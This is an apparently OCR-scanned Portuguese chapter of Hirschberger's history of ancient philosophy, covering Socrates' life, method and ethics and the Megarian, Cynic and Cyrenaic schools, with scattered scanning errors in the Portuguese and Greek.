A FILOSOFIA ÁTICA – História da Filosofia na Antiguidade – Hirschberger


História da Filosofia Antiga – Johannes Hirschberger (Tradução de Alexandre Correia)

Capítulo  II A
FILOSOFIA ÁTICA

Na
vida, alturas e profundezas muitas vezes andam juntas. Talvez devesse o
espírito grego passar pela depressão sofistica, pela sua superficíalidade, sua
leviana retórica, sua crítica destrutiva, seu relativismo e ceticismo, para,
abalado e ameaçado no seu mais íntimo, reagir com tudo o que lhe restava de
força e vida ocultas. B foi uma vigorosa reação. Os homens que ocupam o ponto
central do novo período, Sócrates,
Platão e Aristóteles, conduzem
a Filosofia grega à sua clássica culminância e criam uma obra da qual ainda
hoje vivemos. Parte dialoga ainda com os sofistas e com eles se entrelaça. Mas
o verdadeiro ressoar de suas palavras ultrapassa esses efêmeros adversários e
ecoa no futuro, penetra–nos os ouvidos e ainda repercutirá pelos séculos
afora. É a Filosofia eterna.

1 —
SÓCRATES E  O  SEU CÍRCULO CIÊNCIA   E    VALOR

A.     SÓCRATES

Falar
da sofistica é falar de Sócrates. Foi
considerado sofista; e na verdade, exterior e realmente, tem muito de comum com
eles. Na realidade, porém, é o vencedor da sofistica. A sua vida e doutrina
anunciam a existência de verdades  e valores objetivos e universais.

a)    O   homem   Sócrates

Sócrates nasceu
em Atenas cerca de 470. O pai era escultor, a mãe parteira. A êle próprio não
lhe interessava a sua herança, mas a Filosofia.   Mas já não é a Filosofia dos antigos
jônios. Para êle, o homem ocupa o centro do pensamento, para quem há verdades
e valores. Sócrates nada
escreveu. Praticou uma filosofia viva. Conversava com todos que encontrava na
rua. E sempre repetia a mesma coisa: se tinham idéia clara de si mesmos
("conhece-te a ti mesmo"); Se sabiam o que era a verdade e a
ciência; se já tinham considerado e compreendido o valor do homem. Os homens
falavam e tornavam a falar de coisas filosóficas. Sócrates retomava as palavras de que usavam e perguntava: que
opinais propriamente sobre isto? que pensais com isto? que quereis provar? já
medistes as conseqüências? já refletistes se concordam com as vossas idéias
fundamentais? E assim, uma e muitas vezes, verificava que ninguém sabia nada.
Esta era a sua arte de persuadir, sua elêntica, sua exétase. Os de boa vontade eram assim
conduzidos ao conhecimento próprio, ao esclarecimento de representações até então
confusas e à provocação de novas idéias. Esta era a sua "arte de
partejar", sua maiêutica; "método de trabalho escolar",
diríamos hoje. Costumava contar que aprendeu essa arte de sua mãe. Sempre
deixava o sentimento de que o homem não deve ufanar-se, por não ter, em longo
tempo, chegado ao fim da ciência e da virtude. Também de si mesmo dizia:
"Sei que nada sei". Era a sua ironia, que também provo-cava. No
comércio com os homens, a ironia era o seu grande • método educativo.

Contudo,
os apegados incuravelmente às suas idéias usuais sentiam-se transtornados por Sócrates e manifestavam má vontade
contra o eterno crítico. E logo começaram os ataques contra as censuras sempre
prontas do inovador e revolucionário. Também a comédia se apoderou dele.
Contudo, tinha de confessar que "nunca a fome o rebaixou a ser
lisonjeador" (Ameipsias). Sócrates era
incômodo; mas era um caráter que a nada cedia. Xenofonte refere a sua coragem em face do inimigo e do frio
invernal; e Platão, a sua
capacidade de dominar-se durante toda uma noite de orgias. No processo das
Arginusas, sustentou a sua opinião perante uma multidão popular furiosa; e
quando os trinta, fundados na razão de Estado, desejaram a sua cooperação ‘para
um assassínio político, êle recusou-se, embora sua posição e vida ficassem
ameaçadas. Entretanto, o ódio e a irritação dos atacados não se aplacavam. No
fundo de tudo estava a política. Sócrates
se tornara amigo de Alcibíades. Por
isso lhe instauraram, em 399, o processo de asebia, alegando que corrompia a
mocidade e introduzia novos deuses. Teria podido
fugir do cárcere, mas não o fêz, porque a sua voz interior, o seu
demônio, lhe proibia ser infiel a tarefa que lhe foi confiada pelo deus délfico,
de se provar a si me.snío e aos seus concidadãos. "Meus
concidadãos", disse na sxia defesa, "amo-vos e estimo-vos, mas
prefiro obedecer antes a deus que a vós." E enquanto respirar e tiver
forras, não cessarei de buscar a. verdade, de advertir-vos, de ensinar-vos e
falar, como costumo, à consciência de cada um de vós. E direi: "Como, tu.
meu estimadíssimo cidadão da cidade maior e mais notável pela cultura do
espírito, não te envergonhamos de trabalhar, para encheres o mais possível a
tua bolsa de dinheiro e de adquirir glória e honras,  e. não te importas com os princípios morais,  com a verdade e a
elevação da tua alma, não empregando nisso o
mínimo cuidado? (Apol. 29 d). Mas tinha que morrer. Bebeu a taça de
cicuta tranqüila e plàcidamente. filosofando até ao fim, com os seus amigos,
sobre a imortalidade da alma. Platão erigiu-lhe
um monumento imperecível na Apologia, no Criton e no Fedon. bem
como no discurso de Alcibíade.s no
Svmposíon.

Sócrates era
a Filosofia, em pessoa. Filosofou não somente com a razão, mas também com a
carne e o sangue. Em todo o seu ser iiodemos concretamcnte ver o que é a
verdade e o valor.   Sua Filosofia  era uma  Filosofia existencial.

b)    Questão das fontes e bibliografia

Para
a imagem do nosso Sócrates, constituem
fontes principais Xenofote, Platão e
Aristóteles. Conforme se apreciam
as fontes e se dá a preferência a uma ou outra, assim recebe a imagem de Sócrates o seu traço característico.
Por isso, diferem consideravelmente várias exposições de Sócrates — de Joel, Döring, Maier, Busse,
Burnet, Stenzel, Taylor, Ritter, Gigon, Festugière, etc. A. dificuldade principal está em Platão — mesmo prescindindo da
idealização de seu mes-tre, coloca na boca
de Sócrates os seus próprios
pensamentos, não sendo então fácil distinguir entre o Sócrates platônico e o histórico.
Seguramente já não se poderá conseguir uma absoluta certeza sobre o Sócrates histórico. Contudo, é possível
a tentativa, numa penetração aprofundada e completa das fontes, dar uma imagem
homogênea do seu pensar e querer;    Nessa  direção se moverá  a seguinte
exposição.   Podemos então discernir dois pontos nucleares, em torno dos quais
giram o pensamento e a atividade de Sócrates
— o problema do saber e o problema do valor.

c)    Bibliografia

M.   Maier,  8okrates.   Sein Werk unã
scinc geschichtlich  Stellung


Sócrates. Sua Obra e Situação Histórica (1913). J. Stenzel. Artigo: "Sokrates" em: Pauly-WlSSOWAS
Realeuzyklopädie. A.-.J. Festu gIÈRE,
Socrate (Paris, 1934). H. Kuhn, Sokrates.
Em Versuch über deu Ürsprung der Metaphysik;
— Sócrates. Pesquisa sobre a
Origem da Motafísica (1934), -1959). A. E. Taylor,
Sócrates (London, 1935). o. Gigon, Sokrates. Sein Bild in Dichtung und Geschiehte
Sócrates. Imagem Histórica e Poética (Bern, 1947). A. H. Chroust, Sócrates. Man and Myth. The
Two Socratic Apologies o£ Xenophon (London. 1957).

a)    O    saber

α) A ideia universal. — A posição
de Sócrates relativamente ao
problema da ciência, Aristóteles resumiu-a
com a frase: "Duas coisas, com razão, se podem atribuir a Sócrates — os επακτικοζ
λογοι e o δριζεσται
καθολον (Met. M, 4; 1078 b 27). Com isso
quer referir-se ao conceito do universal para a formação e valor do pensamento.
Quis-se ver no επακτικοζ λογοζ
o processo e o argumento indutivo. Esta interpretação não é de todo falsa,
mas assinala um modo de ver tipicamente moderno, enquanto descobre na idéia da
indu-ção a frisante antítese a
todo racionalismo e apriorismo, um ponto de vista sobre o qual nada há em Sócrates de decisivo. Seu conceito de
idéia universal tem, antes, como Aristóteles
o elucida nos Tópicos (A, 1S). uma explicação muito simples. Em o nosso
conhecimento, nós partimos dos casos particulares concretos da experiência,
estudamos esses casos, particulares nas suas peculiaridades, topamos assim com
aspectos Iguais uniformemente repetidos e destacamos as notas iguais
subjacentes. Assim chegamos à idéia universal. Platão ‘nos oferece dezenas’"de casos deste processo
socrático e comprova, por aí, a justeza da referência aristotélica. Sócrates opõe a mesma réplica: estes
são apenas exemplos de aretê, somente virtudes particulares, não a
virtude em si mesma; se as qui-serdes considerar em particular, então
descobrireis que a todos esses casos singulares está subjacente um mesmo
fundamento:"Todos
implicam uma forma (eidos) universal, a mesma em toda parte e, por isso,
são a aretê" (Men. 72 c). Em torno deste ponto giram todas as reflexões (λογοι)
socráticas, de modo a podermos traduzir o επακτικοζ
 λογοζ como o pensamento e a inquisição na busca da
idéia universal, Com esse vidos universal assim conseguido, pensa então Sócrates a realidade e a vida. Nisso
consiste o seu δριζεσται καθολον.
É um delimitar, confinar, determinar (definire) o particular com o
auxílio do universal.

 β) Conceito e realidade. — Sócrates concebe o mundo, não com a
plástica da fantasia poética nem" com a plenitude concreta das imagens em
contínuo fluxo, mas com a nota. típica geral de um pensamento sóbrio, nu e
esquemático. Isso leva a um empobrecimento da nossa imagem do mundo. Mas daí
advêm duas grandes vantagens. Primeiro, este é um conhecimento mais profundo.
O universal não é transitório, à margem do ser, mas o sempre existente. E,
ademais disso, o essencial o que torna a aretê ar etc. E por isso, na
sua idéia universal encerra um saber mais certo. O conceito universal exprime
não uma representação, que se apresenta aqui, de um modo, e lá, de outro, mas
encerra um conteúdo essencial, com a mesma realidade em toda parte, qualquer
que seja o sujeito que o conheça. E não é inventado e fantasiado em dependência
de determinadas estados de alma e pontos de vista, mas é descoberto na
realidade experimental. Assim Sócrates supera
o relativismo e o ceticismo da sofistica.

γ) Teoria do conhecimento. — Como se vê, o saber tem para Sócrates um’ interesse formal. Aristóteles afirma expressamente que Sócrates não filosofava sobre a
natureza na sua totalidade, como o fizeram os jônios. Estes buscavam um saber
puramente material. Sócrates, ao
contrário, se interessa por um problema metódico-lógico, a saber, como podemos
che- gar a uma ciência pura e certa. Foi, realmente, o primeiro teórlco do
conhecimento e, nessa medida, um homem moderno.

b)     O    Va1or

O Inverso
se dá com a questão do valor.   Aqui considera ele o aspecto  material como o
principal.   Quer saber o que

é o bem, em si mesmo, e
principalmente o bem moral.  O problema do valor é-lhe um problema ético.

a)    Contra a moral dos 
bens,
— Para isso, e antes de tudo, tinha de realizar um trabalho
negativo.   Tinha de haver-se, para tanto,  com as falsas concepções do bem
moral. . Quando o seu  tempo tocou no problema do valor,  fê-lo recorrendo ao
conceito do bem   (αγατον),  da habilidade
e da virtude  (αρετη),
da felicidade  (ευδαιμονια).  
Estas idéias podiam  ser  interpretadas em três sentidos.   Podia-se entender
o  "bem",  no ponto  de vista  do utilitarismo,   como o conveniente,
o útil, o utilizável (σιμφερον, χρησιμον,
ωφελιμον); ou
no  sentido  do hedonismo,   como  o  agradável,   o  conforme  a inclinação e
ao prazer (ηδυ); ou, no sentido do naturalismo, como a
superioridade e o domínio do homem-senhor   (πλεον εχειν,
κρειττον ειναι).  
À. questão vertente, não s&o respostas definitivas o utilitarismo nem o
naturalismo, pois o ser utilizável  ou  0 forte já  está  a  serviço de um 
fim  subordinado superior.   E isto é, para os tempos de Sócrates, particularmente para os
sofistas, e ainda para a moral popular, o que agrada.   Por  isso o que se
busca é  a utilidade  e o poder. Donde vem que a última palavra é dada pelo
hedonismo, com 0 qual tende haver-se  Sócrates,   
Como êle procedia,  vemos das suas discussões com Calicles sobre o problema do valor,
conforme o descreve Platão no Górgias
(488 b — 509 c).   Aqui, conduz Sócrates
a Calicles, passo a
passo,  até compreender ele e confessar que nem a todo prazer e inclinação
podemos ceder,  jiois do contrário devíamos justificar o prazer com o que é vil
e baixo, p. ex., o prazer de coçar-se e passar toda a vida coçando-se.   Isto
não podia Calicles conceber, e
então é levado a distinguir entre o bom e o mau prazer.   Mas assim fica
superado o hedonismo, pois então já não se reconhece o prazer e a inclinação,
enquanto tal, como o princípio do bem moral, mas se introduz um novo critério,
superior ao prazer e que o divide em bom e mau.

β) O bem corno cieneia-. — Qual é
este novo critério? Sócrates agora
deve mostrar em que consiste a essência do bem moral. Pelos dialogas platônicos
da mocidade, vemos que a sua. resposta é sempre a mesma — o homem deve ser
sábio e prudente (σοφοζ ορονιμοζ).
No Laclies é sobretudo a coragem que é declarada como ciência; no Eutifron,
a piedade; no Cármides, a. sensatez; no Protágoras, a
virtude. O inteligente é sábio, o sábio é bom", diz-se breve e claramente
no primeiro livro da República (350
b). Isto concorda com Aris- tóteles, segundo o qual Sócrates acreditava "que todas as
virtudes consistem no saber" (Et. Nic Z, 13). Designou-se esta
interpretação da idéia do valor moral como um inteloctualis-mo. Era realmente o
em que se pensava? A ética e a pedagogia, do tempo da ilustração inscreveram
este "socratismo" na sua bandeira; tinham o princípio "virtude é
ciência" por um juízo de identidade convertível, donde então concluíram —
"a ciência é virtude", acreditando poderem educar o homem somente com
ciência e cultura. No século passado quiseram aproximar-se do pensamento
socrático através dos conceitos de "noocracia" e "saber
ideal". A "razão" e um "saber retamente entendido",
levariam sempre a um proceder reto. Km tempo mais recente, Stenzel apresentou a interpretação, de
que o "saber" que Sócrates tinha
em vista era o que penetra o íntimo das coisas, fazendo assim derivai-, da.
substancialidade do real, uma força de atração e uma graça de todo secreta e
mágica, que nos introduz na ordem das coisas, substituindo desse modo o esforço
da vontade. Mas tudo isto são versões anti-históricas e tipicamente modernas.

Na
verdade, o chamado intelectualismo socrático, em geral, não é nenhum
intelectualismo no sentido moderno da palavra, mas um modo de expressão da
idéia grega τεκνη. Sócrates,
em particular, sempre recorre, quando reflete sobre o problema ético do
valor, a exemplos tirados do domínio da τεκνη. "Sempre falas de sapateiros,
tecelões, cozinheiros e médicos", diz-se no Górgias platônico
(491a). Mas na τεκνη
está toda a ciência pura e simples. O saber (εριστασθαι)
aqui também é o poder (δυνασται) e
a obra (εργον). O mestre-d’obras . hábil σοφοζ
δεμιουγοζ) é também o bom
mestre-d’obras ( αγαθοζ δηναμιοζ).
Saber e valor aqui coincidem. Ainda hoje dizemos, totalmente no estilo desta
terminologia: "fulano entende do seu ofício", com isso querendo
significar a capacidade completa na ordem intelectual. É isto e não outra
coisa o que significa, o intelectualismo ético de Sócrates. Coneúdo ético é concebido num sentido de todo em
todo paralelo a conteúdo técnico. Quem aprendeu a arte de construir e dela
entendo é um construtor e constrói; e quem aprendeu a virtude o doía. entende,
continua-se analogamente, é virtuoso e pratica a virtude.. Compreendemos assim
imediatamente como isto nos leva a conceber a virtude como susceptível de ser
ensinada, o que é um dos muitos problemas versados por Sócrates.   Com este fundamento explica-se também

o célebre dito
socrático: "ninguém pratica voluntariamente o mal". Literalmente
traduzido, parece ser uma afirmação de determinismo. Mas devemos, como sempre,
atender ao contexto. E este -se encontra, de novo, no domínio do
pensamento da τεχνη. Aí é onde naturalmente se
coloca essa frase. Pois,  quando fazemos mal alguma coisa, no domínio da τεχνη,
é sempre por não termos a ciência e a capacidade necessárias. E daí o ser
feito mal. O impulso não procede de alguma vontade qualquer determinada, mas de
não termos melhor compreendido a nossa tarefa, o nosso "poder". Só
por isso agimos "involuntariamente".

γ) Eudaimonismo? — Com a introdução
da τεκνη, o conceito do valor moral de Sócrates assume o caráter de um valor
relativo. Pois, cada conceito técnico de valor implica finalidade utilitária.
"Se me perguntas se conheço algum valor sem nenhuma utilidade, respondo
que nada de tal conheço nem desejo conhecer", diz-se mui frisantemente em
Xenofonte (Mem. 311,8,3).
Isto concorda plenamente com o dito de Platão
(Hip. I,
295 c): "Falamos de
valor (καλον) para. designar olhos capazes de ver e
úteis para tal; corpos aptos para correr e lutar, e assim com todos os seres
vivos. Neste sentido dizemos que possuímos um bom cavalo, um bom galo, boas codornizes,
bons utensílios, instrumentos der musica e outras artes, boas ações,  boas leis
e coisas semelhantes".

 Assim, a ética
socrática, premida pelos seus termos, resvala para o utilitarismo e cai numa
posição próxima à moral do bem-estar, como se pode ver particularmente em Xenofonte.

Sócrates, aí
se diz (Mem. I,2,48), trata com os jovens na intenção "de torná-los
bons e hábeis a tratarem, como convém, a casa, os criados e os domésticos, os
amigos, o estado e os cidadãos".

Se
se quiser designar, como é usual, esta moral do bem-estar com a denominação de
eudemonismo, podemo-lo, contanto que expliquemos, ao mesmo tempo, que
entendemos por eudemonismo moral do bem-estar, pois o conceito de ευδαιμονια
é muito variado e serve de veículo para todos os princípios éticos possíveis.
Também a ética estóica usa deste termo, embora os seus princípios nada tenham
que ver com o prazer e a dor. Mais exato seria falar-se em hedonismo; pois, o
que no utilitarismo e na moral do bem-estar nos parece bem, depende, como Kant justamente o notou, da nossa
capacidade de desejar, portanto do prazer e da
inclinação, mesmo quando se fala do um summum bonum, Embora Sócrates, como já vimos, rejeite o
prazer e a inclinação como princípio ético, e embora ensine a autarquia do
sábio dizendo — não devemos pôr a nossa felicidade em nenhum bem externo mas
só na virtude — não seria sem fundamento ver-se em Sócrates um utilitarista, um eudemonista e, ocasionalmente,
mesmo um hedonista. Mas era isto apenas em conseqüência de radicarem-se as
suas idéias éticas fundamentais no domínio da idéia da τεχνη|,
e do seu mundo conceptual. Mas, na sua intenção, estava outra coisa: a
verdadeira ética puramente ideal. Poderíamos exprimi-lo de modo mais exato do
que com as palavras que se encontram no Górgias: o máximo de todos os males
está. não em sofrer uma injustiça, mas em cometê-la? E na sua vida deu êle o
exemplo de coisas muito diferentes do utilitarismo e do hedonismo. Assim,
rasga-se uma contradição entre a sua personalidade e o seu querer, de um lado
e, de outro, o mundo das suas concepções éticas.

Mas
foi isto o que, principalmente, instigou o maior dos seus discípulos, Platão.
Deveriam as idéias da τεχνη, da utilidade
finalista, da inclinação e do prazer se considerarem adequadas a traduzir a
idealidade na vida e na vontade de seu mestre? Não se devia criar aqui uma nova
língua, um novo mundo de idéias para poder conceber tudo isto com exatidão?
Trata-se, efetivamente, de preencher uma lacuna. Se se passa por alto sobre
esta falha da ética socrática e se se pretende completá-la com pontas de vista
modernos, então se desvanece por completo o fundo último de todo o problema,
ponto de partida do pensamento platônico.

B.   Os Socráticos

Melhor
ainda perceberemos as peculiaridades da Filosofia socrática se tivermos diante
das olhos o círculo dos discípulas de Sócrates, as chamadas escolas socráticas.
É por onde se vê, claramente, que o mestre se preocupou menos com
trans-mitir dogmas escolásticos do que, antes, com provocar ao pensamento
filosófico, Particularmente percebemos que as suas reflexões, visando a
formular o problema dos valores éticos, foram ambíguas e  sem nenhuma solução
definitiva.   As escolas

socráticas
apresentam, por isso, tonalidades fortemente diferenciadas. Distinguimos assim
as escolas: megárica, élio-eretria, cínica e cirenaica.

a)    Escola   megárica

Fundador
da escola megárica é Euclides de
Mégara (ca. 450-380). Tentou fazer uma síntese do eleatismo e do socratismo. O
ser imóvel, imutável dos eleatas era para êle o bem, de que Sócrates sempre falava, com o que o
socratismo assume uma acentuada volta para a metafísica. A direção megárica
tornou-se mais conhecida por Eubúlides, um
dos primeiros discípulos de Sócrates; por
Diodoros Cronos (+ 307 e por Estilpon (+ ca. 300). São os homens da
dialética megárica, que evoluíram mais e mais para uma pura rabulístiea e
viviam do sofisma. Entre eles notável é o "comuto”: o que não perdeste
tens; ora, não perdeste chifres; logo tens chifres. Mas, no meio desses
sofismas, há pensamentos muito sérios; assim, o do "argumento
central", por Aristóteles atribuído a Diodoros
Cronos (κιριευωον λογοζ),
que somente admite, como possível, o que é ou será real, de acordo com o
qual o possível é somente um momento modal do próprio real, e portanto exclui,
ao contrário de Aristóteles, ao
lado do mundo das realidades, ainda um outro e umbrático mundo, o dos
possíveis.  Igualmente se afirma o ideal autárquico de Sócrates: à felicidade basta a sabedoria e a virtude, o que
Estilpon altamente aprecia e
transmite ao pórtico, pois Zeno, o
fundador do estoicismo, é discípulo de Estilpon.
Mas também a dialética poderia, talvez, ter sido mais que eurística. A
moderna logística quer, hoje, ver nos megárieos um importante passo na
evolução da história da lógica.

b)    Escola   élio-erétria

A
escola élio-erétria foi inaugurada por Fedon,
 antigo escravo que conquistou a liberdade por interferência de
Só-CRATES. Desde então,  a Filosofia é, para êle, a salvação da
alma e o caminho para a verdadeira liberdade. A dependência de Sócrates parece
muito fortemente acentuada nesta escola. Em Menedemo
se reproduz toda a sua terminologia intelectualista.

 

c)    Os   cínicos

Mais importantes são os
cínicos.   À sna frente está An tístenes
cie Atenas  (445-365).   Ensina no ginásio Cynosarges, que deu o
nome a toda a escola. / O ideal da autarquia parece-lhe que é o de mais
importante no socratismo.   Nada no mundo tem valor, para ele, senão a
virtude.   Ela, só, é auto–suficiente.   Sublima até ao extremo o desprezo dos
bens materiais..^’Antes quero ,eu enlouquecer do que gozar o prazer*’. Isto
conduz também  ao desprezo  da  cultura, da ciência, da religião,  dos;
compromissos nacionais  e particularmente também dos costumes e das conveniências.   
O que nos homens repugna, por estes motivos, eles o fazem sem pejo, para demonstrar
a sua independência dos bens externos.   Daí o significado atribuído
modernamente á idéia de "cínico"  Tanto maior é assim o
acentuar-se da "fortaleza" socrática ( Σοκρατικε,
ισχυζ), i. é, do caminho estreito e escarpado da
virtude, que se converte no ideal da superação, do esforço e da pena (πονοζ),
como Hércules deu o exemplo.   
"Herakles" é como soa o título da obra principal de Antístenes.   Daqui parte, de novo, um
caminho direto para o sustine et abstine do "sábio" 
es-tóico.   De modo notável esta pronunciada posição voluntarista reveste-se da
terminologia do intelectualismo: quem vive assim é o sábio, o inteligente e
sapiente.   Conserva-se a terminologia socrática, e por aqui ainda vemos o
quanto devemos, na História da Filosofia,  distinguir entre palavras e pensamentos.  
Disto vamos ter já outra amostra.

Quanto a Antístenes ele é, do ponto de vista da
teoria do conhecimento, sensualista, e do ponto de vista metafísico,
materialista, o que se pode concluir de uma troca de palavras com Platão, referida nos antigos. Antístenes teria dito:   Sim, meu caro Platão,  eu bem vejo um cavalo, mas não
vejo a cavalidade (idéia de cavalo, conceito universal de cavalo); ao
que Platão replicou, que isso
vinha de ter Antístenes olhos,
não, porém, inteligência.   A anedota quer significar que An-tístenes conhece as representações
sensíveis, mas os conceitos universais  ou   as  idéias lhe. são somente vãs 
noções  (φιλαι επινοιαι)-   Daí o sem-sentido de dizer-se — Sócrates é homem. Poderíamos somente 
dizer:   Sócrates é  Sócrates,  i.é,  o Só crates que estou vendo.   Isto tem a vantagem
de já não per-mitir nenhuma diferença de opiniões’. "não é possível a contradição",   
Com este sensualismo  é Antístenes também
materialista.

"Eles
afirmam seca e rotundamente",(diz Platão
no Sofista, (246 a ss.), "que só existe o que se pode de
algum modo apalpar e tocar, pois corpo e ser é, segundo suas definições, uma só
e mesma coisa*’.^ Uma verdadeira gigantomaquia se desencadeou em torno deste
problema. Quão animada foi a refrega, o rastreamos pelas drásticas expressões
de Platão para com Protágqras, em quem via o pai do
sensualismo e do materialismo. Se só existe o conhecimento sensível, então
nenhuma diferença há entre Protágoras e
uma rã. de poucos dias, pois sensibilidade também a tem esta. Por isso,
não devia Pbotágoras ter dito que
o homem é a medida de todas as coisas ;j com a mesma tranqüilidade podia
considerar o porco ou o macaco como a medida de todas as coisas. Porque então  Protágoras exigia elevado preço pelo
seu ensinojisso então já é coisa que se não compreende. També !este
materialismo dos cínicos veio mais tarde a influir sobre o estoicismo.

Diógenes — Diógenes de
Sinope (| 324) desperta a atenção menos pelas suas idéias do que pela sua
originalidade..) Para tomar absolutamente a sério a idéia da autarquia, resolveu
ser mendigo, viveu num tonei e renunciou também ao seu copo, quando aprendeu,
de um menino, que também podemos beber com a cavidade das mãos. Rompe com a
tradição cultural e vive sem história. A sua frase muitas vezes repetida era: "Eu
transformo os valores existentes". Foi um precursor antigo do lema:
"rumo à natureza".

Outro cínico é Crates de Tebas.
Era um dos homens mais ricos da sua (idade natal. Mas, estimando ainda mais a
virtude, renunciou a haveres e bens, aderiu aos cínicos e levou uma vida de
mendigo.

d)    Cirenaicos

 Aristipo.
— "Na direção oposta movem-se os cirenaicos. Ela se reporta a Aristipo de Cirene (ca. 435-355).
Domina aqui o hedonismo. O valor deve-se buscar unicamente no prazer, e só no
prazer que se consuma na sensação corpórea.3 E não somente para, na primeira
linha, justificar a vida de um sibarita ensinou Aristiino essa doutrina, mas como tenta-tlva de chegar a uma
solução evidente, na questão dos fundamentos do valor. Como valor indubitável
lhe aparece, não somente o que se fundamenta especulativamente mediante
conceitos e idéias, mas o que se percebe imediatamente por uma vivência
imediata: "Só o sensível nos é inteligível" (μονον
τον παθτοζ εμιν
εστι φαινουμενον:
Sext. Emp. Adv. math. 7, 191 ss.); inteligível por se tratar de uma
afeição sensível atual  παρον παθοζ).
Ora, para Aristipo isto é
exatamente o prazer. Ele o entende, como Protágoras,
mima acepção puramente subjetivista e sensnalista: ("Temos a
medida do valor em nós mesmos e admitimos como verdadeiro e real só o que
podemos sentir individualmente”, conforme o explica Platão (Teet. 178 b). e Platão no Teeteto sempre refuta juntamente Protágoras com Antístenes e. Aristipo,
porque para os três são decisivos, para conhecermos a verdade e o valor,
a vivência e q fenômeno subjetivo e sensível (cf. pág. 99). Exatamente (neste
sentido escreve Bentham no séc.
19: "Havemos sempre de discutir sobre o que seja a. justiça; mas a
felicidade todos a conhecemos por sabermos todos o que é o prazer".")

Hegesias.
— Ora, que não sabemos o
que constitui isto e que nesta matéria estamos iodos expostos às maiores
ilusões, frisantemente o mostrou Hegesias,
tão pouco feliz com o seu hedonismo, que evoluiu para um pessimismo e
foi apodado de conselheiro da morte (πεισιθανατοζ),
pois provocava sempre ao suicídio nas suas lições, até Ptolomeu Lagos chegar ao ponto de
proibir, pela polícia, a sua propaganda da morte (323-285)

Quão
parcial e variegado se reflete o pensamento de Sócrates no círculo que imediatamente se lhe seguiu!  Era
êle tão misterioso, ou tão rico ou tão incompleto? Qual destas várias direções
de pensamentos exprimiu a essência e o querer próprio do mestre? A solução a
este problema só poderá ser dada quando tivermos conhecido Platão, o maior desse círculo.

e)    Bibliografia

W. NESTLE Die Vorsokratiker in Auswahl
übersctzt und herausge-geben
— Os Pré-socráticos publicados cm tradução
selecionada (1922). N. Hartmann, Der
Megariscche und der Aristotelische Möglichkeitbeje griff
— O Conceito de
possibilidade dos Megáricos e de Aristóteles. (1937, agora: Kleinere Schriften II). D. R. Dudley, A History of Cynism. From
Diogenes to the 6th Century (London, 1937). G. Giannantoxi, I Cirenaci. Raccolta delis fonti antiche. Traduzione e studio
introduttivo   (Firenze, 1958).

 

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